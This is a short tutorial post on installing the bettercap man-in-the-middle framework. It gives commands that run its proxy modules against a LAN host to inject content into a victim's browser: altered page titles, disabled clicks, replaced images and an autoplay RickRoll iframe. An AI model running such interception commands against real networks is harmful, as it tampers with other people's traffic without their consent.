Fun with bettercap: Change title, disable click, replace image and add video on victim browser

 

Introduce

bettercap is a complete, modular, portable and easily extensible MITM tool and framework with every kind of diagnostic and offensive feature you could need in order to perform a man in the middle attack.

Installing

sudo apt-get install build-essential ruby-dev libpcap-dev
gem install bettercap

From source

git clone https://github.com/evilsocket/bettercap
cd bettercap
gem build bettercap.gemspec
sudo gem install bettercap*.gem

On Kali Linux

apt-get update
apt-get dist-upgrade
apt-get install bettercap

 bettercap-proxy-modules

This repository contains some bettercap transparent proxy example modules.

Usage:

• Add a “!!! HACKED !!!” string to very webpage title
  

  bettercap -T 192.168.1.66 --proxy-module hack_title.rb
  
  
• Disable click on victim machine
  

  bettercap -T 192.168.1.66 --proxy-module noscroll.rb
  
  
  
  
• Replace all images on webpage

  bettercap -T 192.168.1.66 --proxy-module replace_images.rb
  
  
•  Inject an iframe with the (in)famous RickRoll video in autoplay mode.

  bettercap -T 192.168.1.66 --proxy-module rickroll.rb